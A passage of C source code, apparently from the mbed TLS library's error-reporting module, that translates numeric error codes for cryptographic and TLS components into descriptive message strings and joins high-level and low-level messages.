-(MBEDTLS_ERR_DHM_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_READ_PARAMS_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Reading of the DHM parameters failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_MAKE_PARAMS_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Making of the DHM parameters failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_READ_PUBLIC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Reading of the public values failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_MAKE_PUBLIC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Making of the public value failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_CALC_SECRET_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Calculation of the DHM secret failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_INVALID_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"DHM - The ASN.1 data is not formatted correctly\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Allocation of memory failed\" );\n        if( use_ret == -(MBEDTLS_ERR_DHM_FILE_IO_ERROR) )\n            mbedtls_snprintf( buf, buflen, \"DHM - Read/write of file failed\" );\n#endif /* MBEDTLS_DHM_C */\n\n#if defined(MBEDTLS_ECP_C)\n        if( use_ret == -(MBEDTLS_ERR_ECP_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_BUFFER_TOO_SMALL) )\n            mbedtls_snprintf( buf, buflen, \"ECP - The buffer is too small to write to\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Requested curve not available\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_VERIFY_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"ECP - The signature is not valid\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Memory allocation failed\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_RANDOM_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Generation of random value, such as (ephemeral) key, failed\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_INVALID_KEY) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Invalid private or public key\" );\n        if( use_ret == -(MBEDTLS_ERR_ECP_SIG_LEN_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"ECP - Signature is valid but shorter than the user-supplied length\" );\n#endif /* MBEDTLS_ECP_C */\n\n#if defined(MBEDTLS_MD_C)\n        if( use_ret == -(MBEDTLS_ERR_MD_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"MD - The selected feature is not available\" );\n        if( use_ret == -(MBEDTLS_ERR_MD_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"MD - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_MD_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"MD - Failed to allocate memory\" );\n        if( use_ret == -(MBEDTLS_ERR_MD_FILE_IO_ERROR) )\n            mbedtls_snprintf( buf, buflen, \"MD - Opening or reading of file failed\" );\n#endif /* MBEDTLS_MD_C */\n\n#if defined(MBEDTLS_PEM_PARSE_C) || defined(MBEDTLS_PEM_WRITE_C)\n        if( use_ret == -(MBEDTLS_ERR_PEM_NO_HEADER_FOOTER_PRESENT) )\n            mbedtls_snprintf( buf, buflen, \"PEM - No PEM header or footer found\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_INVALID_DATA) )\n            mbedtls_snprintf( buf, buflen, \"PEM - PEM string is not as expected\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Failed to allocate memory\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_INVALID_ENC_IV) )\n            mbedtls_snprintf( buf, buflen, \"PEM - RSA IV is not in hex-format\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_UNKNOWN_ENC_ALG) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Unsupported key encryption algorithm\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_PASSWORD_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Private key password can't be empty\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_PASSWORD_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Given private key password does not allow for correct decryption\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Unavailable feature, e.g. hashing/encryption combination\" );\n        if( use_ret == -(MBEDTLS_ERR_PEM_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"PEM - Bad input parameters to function\" );\n#endif /* MBEDTLS_PEM_PARSE_C || MBEDTLS_PEM_WRITE_C */\n\n#if defined(MBEDTLS_PK_C)\n        if( use_ret == -(MBEDTLS_ERR_PK_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"PK - Memory allocation failed\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_TYPE_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PK - Type mismatch, eg attempt to encrypt with an ECDSA key\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"PK - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_FILE_IO_ERROR) )\n            mbedtls_snprintf( buf, buflen, \"PK - Read/write of file failed\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_KEY_INVALID_VERSION) )\n            mbedtls_snprintf( buf, buflen, \"PK - Unsupported key version\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_KEY_INVALID_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"PK - Invalid key tag or value\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_UNKNOWN_PK_ALG) )\n            mbedtls_snprintf( buf, buflen, \"PK - Key algorithm is unsupported (only RSA and EC are supported)\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_PASSWORD_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"PK - Private key password can't be empty\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_PASSWORD_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PK - Given private key password does not allow for correct decryption\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_INVALID_PUBKEY) )\n            mbedtls_snprintf( buf, buflen, \"PK - The pubkey tag or value is invalid (only RSA and EC are supported)\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_INVALID_ALG) )\n            mbedtls_snprintf( buf, buflen, \"PK - The algorithm tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_UNKNOWN_NAMED_CURVE) )\n            mbedtls_snprintf( buf, buflen, \"PK - Elliptic curve is unsupported (only NIST curves are supported)\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"PK - Unavailable feature, e.g. RSA disabled for RSA key\" );\n        if( use_ret == -(MBEDTLS_ERR_PK_SIG_LEN_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PK - The signature is valid but its length is less than expected\" );\n#endif /* MBEDTLS_PK_C */\n\n#if defined(MBEDTLS_PKCS12_C)\n        if( use_ret == -(MBEDTLS_ERR_PKCS12_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"PKCS12 - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS12_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"PKCS12 - Feature not available, e.g. unsupported encryption scheme\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS12_PBE_INVALID_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"PKCS12 - PBE ASN.1 data not as expected\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS12_PASSWORD_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PKCS12 - Given private key password does not allow for correct decryption\" );\n#endif /* MBEDTLS_PKCS12_C */\n\n#if defined(MBEDTLS_PKCS5_C)\n        if( use_ret == -(MBEDTLS_ERR_PKCS5_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"PKCS5 - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS5_INVALID_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"PKCS5 - Unexpected ASN.1 data\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS5_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"PKCS5 - Requested encryption or digest alg not available\" );\n        if( use_ret == -(MBEDTLS_ERR_PKCS5_PASSWORD_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"PKCS5 - Given private key password does not allow for correct decryption\" );\n#endif /* MBEDTLS_PKCS5_C */\n\n#if defined(MBEDTLS_RSA_C)\n        if( use_ret == -(MBEDTLS_ERR_RSA_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"RSA - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_INVALID_PADDING) )\n            mbedtls_snprintf( buf, buflen, \"RSA - Input data contains invalid padding and is rejected\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_KEY_GEN_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - Something failed during generation of a key\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_KEY_CHECK_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - Key failed to pass the library's validity check\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_PUBLIC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - The public key operation failed\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_PRIVATE_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - The private key operation failed\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_VERIFY_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - The PKCS#1 verification failed\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_OUTPUT_TOO_LARGE) )\n            mbedtls_snprintf( buf, buflen, \"RSA - The output buffer for decryption is not large enough\" );\n        if( use_ret == -(MBEDTLS_ERR_RSA_RNG_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"RSA - The random generator failed to generate non-zeros\" );\n#endif /* MBEDTLS_RSA_C */\n\n#if defined(MBEDTLS_SSL_TLS_C)\n        if( use_ret == -(MBEDTLS_ERR_SSL_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The requested feature is not available\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_INVALID_MAC) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Verification of the message MAC failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_INVALID_RECORD) )\n            mbedtls_snprintf( buf, buflen, \"SSL - An invalid SSL record was received\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_CONN_EOF) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The connection indicated an EOF\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_UNKNOWN_CIPHER) )\n            mbedtls_snprintf( buf, buflen, \"SSL - An unknown cipher was received\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_NO_CIPHER_CHOSEN) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The server has no ciphersuites in common with the client\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_NO_RNG) )\n            mbedtls_snprintf( buf, buflen, \"SSL - No RNG was provided to the SSL module\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_NO_CLIENT_CERTIFICATE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - No client certification received from the client, but required by the authentication mode\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_CERTIFICATE_TOO_LARGE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Our own certificate(s) is/are too large to send in an SSL message\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_CERTIFICATE_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The own certificate is not set, but needed by the server\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_PRIVATE_KEY_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The own private key or pre-shared key is not set, but needed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_CA_CHAIN_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - No CA Chain is set, but required to operate\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_UNEXPECTED_MESSAGE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - An unexpected message was received from our peer\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_FATAL_ALERT_MESSAGE) )\n        {\n            mbedtls_snprintf( buf, buflen, \"SSL - A fatal alert message was received from our peer\" );\n            return;\n        }\n        if( use_ret == -(MBEDTLS_ERR_SSL_PEER_VERIFY_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Verification of our peer failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_PEER_CLOSE_NOTIFY) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The peer notified us that the connection is going to be closed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CLIENT_HELLO) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ClientHello handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_SERVER_HELLO) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ServerHello handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CERTIFICATE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the Certificate handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CERTIFICATE_REQUEST) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the CertificateRequest handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_SERVER_KEY_EXCHANGE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ServerKeyExchange handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_SERVER_HELLO_DONE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ServerHelloDone handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CLIENT_KEY_EXCHANGE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ClientKeyExchange handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CLIENT_KEY_EXCHANGE_RP) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ClientKeyExchange handshake message failed in DHM / ECDH Read Public\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CLIENT_KEY_EXCHANGE_CS) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ClientKeyExchange handshake message failed in DHM / ECDH Calculate Secret\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CERTIFICATE_VERIFY) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the CertificateVerify handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_CHANGE_CIPHER_SPEC) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the ChangeCipherSpec handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_FINISHED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the Finished handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Memory allocation failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_HW_ACCEL_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Hardware acceleration function returned with error\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_HW_ACCEL_FALLTHROUGH) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Hardware acceleration function skipped / left alone data\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_COMPRESSION_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the compression / decompression failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_PROTOCOL_VERSION) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Handshake protocol not within min/max boundaries\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BAD_HS_NEW_SESSION_TICKET) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Processing of the NewSessionTicket handshake message failed\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_SESSION_TICKET_EXPIRED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Session ticket has expired\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_PK_TYPE_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Public key type mismatch (eg, asked for RSA key exchange and presented EC key)\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_UNKNOWN_IDENTITY) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Unknown identity received (eg, PSK identity)\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_INTERNAL_ERROR) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Internal error (eg, unexpected failure in lower-level module)\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_COUNTER_WRAPPING) )\n            mbedtls_snprintf( buf, buflen, \"SSL - A counter would wrap (eg, too many messages exchanged)\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_WAITING_SERVER_HELLO_RENEGO) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Unexpected message at ServerHello in renegotiation\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_HELLO_VERIFY_REQUIRED) )\n            mbedtls_snprintf( buf, buflen, \"SSL - DTLS client must retry for hello verification\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_BUFFER_TOO_SMALL) )\n            mbedtls_snprintf( buf, buflen, \"SSL - A buffer is too small to receive or write a message\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_NO_USABLE_CIPHERSUITE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - None of the common ciphersuites is usable (eg, no suitable certificate, see debug messages)\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_WANT_READ) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Connection requires a read call\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_WANT_WRITE) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Connection requires a write call\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_TIMEOUT) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The operation timed out\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_CLIENT_RECONNECT) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The client initiated a reconnect from the same port\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_UNEXPECTED_RECORD) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Record header looks valid but is not expected\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_NON_FATAL) )\n            mbedtls_snprintf( buf, buflen, \"SSL - The alert message received indicates a non-fatal error\" );\n        if( use_ret == -(MBEDTLS_ERR_SSL_INVALID_VERIFY_HASH) )\n            mbedtls_snprintf( buf, buflen, \"SSL - Couldn't set the hash for verifying CertificateVerify\" );\n#endif /* MBEDTLS_SSL_TLS_C */\n\n#if defined(MBEDTLS_X509_USE_C) || defined(MBEDTLS_X509_CREATE_C)\n        if( use_ret == -(MBEDTLS_ERR_X509_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Unavailable feature, e.g. RSA hashing/encryption combination\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_UNKNOWN_OID) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Requested OID is unknown\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The CRT/CRL/CSR format is invalid, e.g. different type expected\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_VERSION) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The CRT/CRL/CSR version element is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_SERIAL) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The serial tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_ALG) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The algorithm tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_NAME) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The name tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_DATE) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The date tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_SIGNATURE) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The signature tag or value invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_INVALID_EXTENSIONS) )\n            mbedtls_snprintf( buf, buflen, \"X509 - The extension tag or value is invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_UNKNOWN_VERSION) )\n            mbedtls_snprintf( buf, buflen, \"X509 - CRT/CRL/CSR has an unsupported version number\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_UNKNOWN_SIG_ALG) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Signature algorithm (oid) is unsupported\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_SIG_MISMATCH) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Signature algorithms do not match. (see \\\\c ::mbedtls_x509_crt sig_oid)\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_CERT_VERIFY_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Certificate verification failed, e.g. CRL, CA or signature check failed\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_CERT_UNKNOWN_FORMAT) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Format not recognized as DER or PEM\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Input invalid\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Allocation of memory failed\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_FILE_IO_ERROR) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Read/write of file failed\" );\n        if( use_ret == -(MBEDTLS_ERR_X509_BUFFER_TOO_SMALL) )\n            mbedtls_snprintf( buf, buflen, \"X509 - Destination buffer is too small\" );\n#endif /* MBEDTLS_X509_USE_C || MBEDTLS_X509_CREATE_C */\n        // END generated code\n\n        if( strlen( buf ) == 0 )\n            mbedtls_snprintf( buf, buflen, \"UNKNOWN ERROR CODE (%04X)\", use_ret );\n    }\n\n    use_ret = ret & ~0xFF80;\n\n    if( use_ret == 0 )\n        return;\n\n    // If high level code is present, make a concatenation between both\n    // error strings.\n    //\n    len = strlen( buf );\n\n    if( len > 0 )\n    {\n        if( buflen - len < 5 )\n            return;\n\n        mbedtls_snprintf( buf + len, buflen - len, \" : \" );\n\n        buf += len + 3;\n        buflen -= len + 3;\n    }\n\n    // Low level error codes\n    //\n    // BEGIN generated code\n#if defined(MBEDTLS_AES_C)\n    if( use_ret == -(MBEDTLS_ERR_AES_INVALID_KEY_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"AES - Invalid key length\" );\n    if( use_ret == -(MBEDTLS_ERR_AES_INVALID_INPUT_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"AES - Invalid data input length\" );\n#endif /* MBEDTLS_AES_C */\n\n#if defined(MBEDTLS_ASN1_PARSE_C)\n    if( use_ret == -(MBEDTLS_ERR_ASN1_OUT_OF_DATA) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Out of data when parsing an ASN1 data structure\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_UNEXPECTED_TAG) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - ASN1 tag was of an unexpected value\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_INVALID_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Error when trying to determine the length or invalid length\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_LENGTH_MISMATCH) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Actual length differs from expected length\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_INVALID_DATA) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Data is invalid. (not used)\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_ALLOC_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Memory allocation failed\" );\n    if( use_ret == -(MBEDTLS_ERR_ASN1_BUF_TOO_SMALL) )\n        mbedtls_snprintf( buf, buflen, \"ASN1 - Buffer too small when writing ASN.1 data structure\" );\n#endif /* MBEDTLS_ASN1_PARSE_C */\n\n#if defined(MBEDTLS_BASE64_C)\n    if( use_ret == -(MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL) )\n        mbedtls_snprintf( buf, buflen, \"BASE64 - Output buffer too small\" );\n    if( use_ret == -(MBEDTLS_ERR_BASE64_INVALID_CHARACTER) )\n        mbedtls_snprintf( buf, buflen, \"BASE64 - Invalid character in input\" );\n#endif /* MBEDTLS_BASE64_C */\n\n#if defined(MBEDTLS_BIGNUM_C)\n    if( use_ret == -(MBEDTLS_ERR_MPI_FILE_IO_ERROR) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - An error occurred while reading from or writing to a file\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_BAD_INPUT_DATA) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - Bad input parameters to function\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_INVALID_CHARACTER) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - There is an invalid character in the digit string\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_BUFFER_TOO_SMALL) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - The buffer is too small to write to\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_NEGATIVE_VALUE) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - The input arguments are negative or result in illegal output\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_DIVISION_BY_ZERO) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - The input argument for division is zero, which is not allowed\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_NOT_ACCEPTABLE) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - The input arguments are not acceptable\" );\n    if( use_ret == -(MBEDTLS_ERR_MPI_ALLOC_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"BIGNUM - Memory allocation failed\" );\n#endif /* MBEDTLS_BIGNUM_C */\n\n#if defined(MBEDTLS_BLOWFISH_C)\n    if( use_ret == -(MBEDTLS_ERR_BLOWFISH_INVALID_KEY_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"BLOWFISH - Invalid key length\" );\n    if( use_ret == -(MBEDTLS_ERR_BLOWFISH_INVALID_INPUT_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"BLOWFISH - Invalid data input length\" );\n#endif /* MBEDTLS_BLOWFISH_C */\n\n#if defined(MBEDTLS_CAMELLIA_C)\n    if( use_ret == -(MBEDTLS_ERR_CAMELLIA_INVALID_KEY_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"CAMELLIA - Invalid key length\" );\n    if( use_ret == -(MBEDTLS_ERR_CAMELLIA_INVALID_INPUT_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"CAMELLIA - Invalid data input length\" );\n#endif /* MBEDTLS_CAMELLIA_C */\n\n#if defined(MBEDTLS_CCM_C)\n    if( use_ret == -(MBEDTLS_ERR_CCM_BAD_INPUT) )\n        mbedtls_snprintf( buf, buflen, \"CCM - Bad input parameters to function\" );\n    if( use_ret == -(MBEDTLS_ERR_CCM_AUTH_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"CCM - Authenticated decryption failed\" );\n#endif /* MBEDTLS_CCM_C */\n\n#if defined(MBEDTLS_CTR_DRBG_C)\n    if( use_ret == -(MBEDTLS_ERR_CTR_DRBG_ENTROPY_SOURCE_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"CTR_DRBG - The entropy source failed\" );\n    if( use_ret == -(MBEDTLS_ERR_CTR_DRBG_REQUEST_TOO_BIG) )\n        mbedtls_snprintf( buf, buflen, \"CTR_DRBG - Too many random requested in single call\" );\n    if( use_ret == -(MBEDTLS_ERR_CTR_DRBG_INPUT_TOO_BIG) )\n        mbedtls_snprintf( 